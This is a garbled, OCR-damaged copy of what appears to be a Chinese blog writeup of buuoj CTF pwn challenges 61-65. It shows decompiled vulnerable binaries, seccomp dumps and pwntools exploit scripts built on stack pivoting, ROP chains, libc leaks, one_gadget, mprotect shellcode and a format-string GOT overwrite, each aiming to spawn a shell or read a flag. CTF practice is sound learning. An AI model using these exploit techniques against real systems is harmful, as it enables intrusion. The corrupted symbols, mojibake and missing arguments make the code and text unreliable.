buuoj Pwn writeup 61-65

yongbaoii F 2021-02-16 22:40:15 K Afi 101 g

SrRLR: CTE WHERS: 24

FRBLFE B . AR E R AR, W5 CC 4.0 BY-SA FRBUHIMNL, #5315 SC AL R A R 1
ASCHEERZE:  https://blog.csdn.net/yongbaoii/article/details/113805253

CTF E I i% i 2%

213 JECE 7 AT
BT
61 gyctf_2020_borrowstack
7S
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIF
Y Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 72 Symbols No @
2 161
int _ _cdecl main(int argc, const char **argv, const char **envp)
{

char buf[96]; // [rsp+8h] [rbp-6@h] BYREF

setbuf(stdin, OLL);

setbuf(stdout, eLL);

puts(&s);

read(e, buf, 112ulLl);

puts("Done!You can check and use your borrow stack now!");

read(e, &bank, exleeuLl);

return @;
}
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from pwn import

context(arch ,log level

remote( , 29952)

bss_addr 0x601080
leave_ret 0x400699
0x4527a

elf.plt[

elf.got|

0x400703
main_addr 0x400626
ret_addr 0x4004c9

p64(bss_addr) p64(leave_ret)

p64(ret_addr) 20 + p64(pop_rdi) p64(puts_got) p64(puts_plt) p64(main_addr)
r.sendline(payload)

puts_addr ub4(r.recv(6).ljust(s,

libc_base puts_addr libc.sym[

one_gadget libc_base
(libc_base)

104 + p64(one_gadget)

.recvline()

.send(payload)

.recvline()
.sendline(

.interactive()
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int overflow()

char v1[12]; // [esp+Ch] [ebp-Ch] BYREF

return gets(vl);
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from pwn import

context(arch

process(

0x0806c943

0x080b8016

0x0806ed00
0x080eb000o

16+p32(elf.sym[
p32(0xb)
p32(0)

p32(pop_eax)
p32(pop_dcb)
p32(int_86h)

r.sendline(payload)

payload
r.sendline(payload)

r.interactive()

4 mprotect.
exp

,log_level

1)+p32(pop_dcb)+p32(0)+p32(bss_addr)+p32(0x10)

PEPALZ)) p32(bss_addr)

Symbols

2035 Symbols

FORTIF

Yes
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from pwn import

context(arch ,log level

process(
ELF(
elf=ELF(

bss_addr OX080EbOOO

pop_dcb 0x806ed00

shellcode asm(shellcraft.sh())

16 p32(elf.sym[

D

p32(pop_dcb) p32(bss_addr) p32(0x200) p32(7)

p32(elf.sym[ D)
p32(bss_addr) p32(9)

r.sendline(payload)

r.sendline(shellcode)

r.interactive()
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ROPgadget --binary rop --ropchain

p32(bss_addr) p32(0x200)




from pwn import

from struct import

context(arch

pack(
pack(

pack(
pack(
pack(
pack(
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pack(
return p
shell = payload()
r.sendline(shell)
r.interactive()
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0x0806ecda)
0x080ea060)
0x080b8016)

0x0805466b)
0x0806ecda)
0x080ead64)
0x080b8016)

9Xx0805466b)
Ox0806ecda)
0x080ea068)
0x080492d3)
9x0805466b)
@x080481c9)
0x080ea060)
0x080de769)
0x080ea068)
0x0806ecda)
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|_int64 _ fastcall main(__inté4 al, char **a2, char **a3)
{
sub_80A(al, a2, a3);
puts("This is a easy challange for you.");
printf("Here is my gift: ex%llx\n", &puts);
sub_84D();
sub_9D3();
return eLL;
}
S puts B B MLk .
Ftt A puts.
mov eax, @
call sub_8eA
lea rdi, aThisIsAEasyCha ; "This is a easy challange for vyou."
call puts
mov rax, cs:puts_ptr
mov rsi, rax
lea rdi, aHereIsMyGiftex ; "Here is my gift: ex%llx\n"
mov eax, ©
call _printf
mov eax, ©
call sub_84D
mov eax, ©
call sub_9D3
mov eax, ©
pop rbp
retn
Z=RiiAin)aln
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prctl(38, 1LL, @LL, eLL, eLL);

v3 = 32;
vd = 8;
v5s = 8;
ve = 4;
v7 = 21;
V8 = 8,
v9 = 9;
v1e = -1873741762;
vil = 32;
vi2 = @;
vis = @;
vlid = @;
v1l5 = 53;
vie = 7;
vi7 = @;
v1E = @x40000000;
v1i9 = 21;
V20 = 6;
v21l = @;
v22 = 59;
v23 = 21;
v24 = 8;
v25 = 4;
v2e = 1;
v27 = 32;
V28 = 9;

XANRIGE LA RE.

wuangwuang@wuangwuang-PC: ~/Desktop$ seccomp-tools dump ./63

This is a easy challange for you.

Here is my gift: @x7f85f129991@
line CODE JT JF K
0000: 0x20 Ox00 Ox00 OxQP@@@E@4 A = arch
@201: 0x15 Ox00 Ox@9 Oxcoeeee3e if (A I= ) goto @@11
POR2: Ox20 OxX0D OxDD Ox0DODEDE® A = sys_number
@203: 0x35 Ox07 Ox00 Ox4000000@ if (A >= ) goto @ell
@004: 0x15 Ox06 Ox00 Ox@Q@0@3b if (A == ) goto @ell
@005: 0x15 Ox00 Ox04 Oxo0@e0edl if (A I= ) goto @@1@
Q0P6: Ox20 Ox00 OxP@ OxPQOP@R24 A = >> 32 # write(fd, buf, count)
@007: @x15 Ox00 Ox02 Ox0DoDERE® if (A = 0x0) goto @010
Q0P8 : Ox20 Ox0D OxP@ DxPQ0PRR20 A = # write(fd, buf, count)
@0@9: @x15 0x01 @0xe0 Oxoeoeoele if (A == @x1@) goto @011
@010: 0x06 Ox00 Ox@0 @x7fffeee@ return ALLOW
2011: 2x06 2x00 Ox0Q0 Px0Q0Q000@ rTeturn KILL
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ssize_t sub_9Al1()
{

}

char buf[112]; // [rsp+6h] [rbp-7@h] BYREF

printf("What's your name?");
return read(e, buf, 128ulLl);

SRR B i read write openmR BCRITIT, WEL, Fitiflag.
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from pwn import

remote( ,28914)

(r.recv(12),16

)

puts_addr libc.symbols|

(puts_addr)
(libc_base)

pop_rdi=libc_base 0x21102

pop_rsi=libc_base 0x202e8

pop_rdx=libc_base 0x1b92
libc_base libc.
libc_base libc.
libc_base libc.
libc_base libc.

p64(9) p64(pop_rs
p64(read_addr)

symbols
symbols

[
[
symbols|
[

symbols

i) p64(free_hook) p64(pop_rdx)

p64(pop_rdi) p64(free_hook) p64(pop_rsi) p64(4)

p64(open_addr)

p64(pop_rdi) p64(3)

p64(pop_rsi) p64(free_hook)

p64(pop_rdi) p64(free_hook) p64(puts_addr)

.sendafter(
.sendafter(

.send(

.interactive()
BIT A B Gt n] DU 2 3 .

64 axb_2019 fmt32

,payload)

)

0x78+p64(pop_rdi))
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p64(4)

p64(pop_rdx)

p64(0x30)+p64(read_addr)
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int _ cdecl _ noreturn main(int argc, const char **argv, const char **envp)

{

¥

char s; // [esp+Fh] [ebp-239h]
char format; // [esp+118h] [ebp-138h]
unsigned int v5; // [esp+23Ch] [ebp-Ch]

v5 = _ readgsdword(@x14u);
setbuf(stdout, @);
setbuf(stdin, @);
setbuf(stderr, @);
puts(
"Hello,I am a computer Repeater updated.\n"

"After a lot of machine learning,I know that the essence of man is a reread machine!™);

puts("So I'll answer whatever you say!");
while ( 1)
{
alarm(3u);
memset(&s, ©, ©x101lu);
memset(&format, @, @x12Cu);
printf("Please tell me:");
read(®, &s, 8x1e8u);
sprintf(&format, “"Repeater:%s\n", &s);
if ( strlen(&format) > @x1@E )
break;
printf(&format);

printf("what you input is really long!");
exit(e);
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from pwn import

context.log level
r remote( ,26945)

elf = ELF(
libc = ELF(

elf.got|
elf.got|

p32(printf_got)

u32(r.recv(4))
(strlen_addr)
printf_addr
print (libc_base)
system_addr libc_base libc.sym[

high_one (system_addr 16) oxffff
low_one system_addr & Oxffff

p32(strlen_got) p32(strlen_got+2)
(low_one-18)

(high_one - low_one)

,payload)

,payload)

r.interactive()
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__int64 _ fastcall main(int al, char **a2, char **a3)
{

int v3; // eax

char s[136]; // [rsp+l1eh] [rbp-90h] BYREF

unsigned __inte4 v6; // [rsp+98h] [rbp-8h]

v6 = __readfsqword(ex28u);
setvbuf(stdin, eLL, 2, OLL);
setvbuf(stdout, eLL, 2, OLL);
setvbuf(stderr, eLL, 2, eLL);
memset(s, ©, @x80uLL);
while ( 1 )
{
sub_4ees8B9();
v3 = sub_400841();
switch ( v3 )
{
case 2:
puts(s);
break;
case 3:
return 6LL;
case 1:
read(@, s, 256uLL);
break;
default:
sub_400826("invalid choice");
break;
¥
sub_4ee826(&unk_488AE7);
¥
}
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from pwn import

context.log level
r remote( ,29228)

elf.plt[
elf.got|
0x400a93
0x400908

136
.recvuntil( )
.send( )
.send(payload)

.recvuntil(
r.send( )
r.recvuntil( )

canary ub4(r.recv(7).rjust(s,

print (canary)

payload 136 + p64(canary)
payload p64(pop_rdi) p64(puts_got)
r.recvuntil( )

r.send( )

r.send(payload)

.recvuntil(
.send( )

puts_addr ub4(r.recv(6).ljust(s,
libc_base puts_addr libc.sym[
system_addr libc_base libc.sym[
bin_sh = libc_base + libc.search(

payload 136 + p64(canary)
payload p64(pop_rdi) p64(bin_sh)
payload p64(system_addr)

.recvuntil(
.send( )
.send(payload)

.recvuntil(
.send( )

.interactive()

8
p64(puts_plt)

p64(main_addr)
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